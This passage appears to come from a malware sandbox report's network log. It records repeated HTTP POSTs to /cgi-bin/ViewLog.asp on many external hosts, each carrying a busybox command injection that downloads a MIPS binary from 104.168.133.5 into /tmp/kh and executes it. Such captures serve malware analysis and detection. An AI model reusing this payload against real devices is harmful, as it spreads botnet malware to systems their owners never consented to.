                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.924055099 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:56.635538101 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:35.546401978 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                101192.168.2.154053694.122.126.1178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.303250074 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                102192.168.2.153789495.86.90.1188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.316184998 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                103192.168.2.155637831.136.86.2268080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.458527088 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:19.036469936 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:20.188442945 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:22.588408947 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:27.196244955 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:36.412213087 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:56.635567904 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:33.498608112 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                104192.168.2.155534495.165.149.1018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.515227079 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:18.870112896 CET1340INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:20:18 GMT
                                                Server: Apache/2.4.57 (Debian)
                                                Referrer-Policy: no-referrer
                                                X-Content-Type-Options: nosniff
                                                X-Frame-Options: SAMEORIGIN
                                                X-Permitted-Cross-Domain-Policies: none
                                                X-Robots-Tag: noindex, nofollow
                                                X-XSS-Protection: 1; mode=block
                                                X-Powered-By: PHP/8.2.11
                                                Set-Cookie: oc19xxayxfyx=5cd9e61e68d2d6d68b8e84e8b2177579; path=/; HttpOnly; SameSite=Lax
                                                Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                Cache-Control: no-store, no-cache, must-revalidate
                                                Pragma: no-cache
                                                Set-Cookie: oc_sessionPassphrase=u8fzEU4fE848aaDvD4fwjnPFDp9S1zFpzuzCQTMGGc1jgb2%2FHJDMIDmj6TDq0AXM0lPLRxJVLICh2S45fmIo3WDceC1oeyW3VpcSS%2B1G883DlMZEMWfJAoNo5wo1y5zL; path=/; HttpOnly; SameSite=Lax
                                                Set-Cookie: oc19xxayxfyx=fa005f3ba15712f3008d2d761914d8bd; path=/; HttpOnly; SameSite=Lax
                                                Set-Cookie: oc19xxayxfyx=fa005f3ba15712f3008d2d761914d8bd; path=/; HttpOnly; SameSite=Lax
                                                Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-b2VnLzlzR3VaSkpQN2RPRFFBd1NxY2JsaTVTM0QzTHpaYXNEVmdSVjlZWT06eE53SHB2YlBKY2NnbDRhMUJIdEJ5Sk8wNzlPRlN6aTNWTU5XSTJrUXNjMD0='; style-src 'self' 'unsafe-inline'; frame-src *; img-src * data: blob:; font-src 'self' data:; media-src *; connect-src *; object-src 'none'; base-uri 'self';
                                                Set-Cookie: nc_sameS
                                                Data Raw:
                                                Data Ascii:


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                105192.168.2.154512031.33.10.1298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.633678913 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:19.164469004 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:20.252444983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                106192.168.2.154791662.35.145.1898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.713973999 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:18.920936108 CET113INHTTP/1.1 400 Bad Request
                                                Connection: close


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                107192.168.2.153549694.123.253.1078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.734388113 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                108192.168.2.154178494.122.76.2348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.738188028 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                109192.168.2.155182494.120.104.1448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.741925955 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                110192.168.2.153837885.196.128.2448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.743961096 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:18.976528883 CET367INHTTP/1.1 403 Forbidden
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 106
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                111192.168.2.153562895.46.77.558080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:18.766583920 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:19.075352907 CET378INHTTP/1.1 404 Not Found
                                                Server: nginx/1.14.0
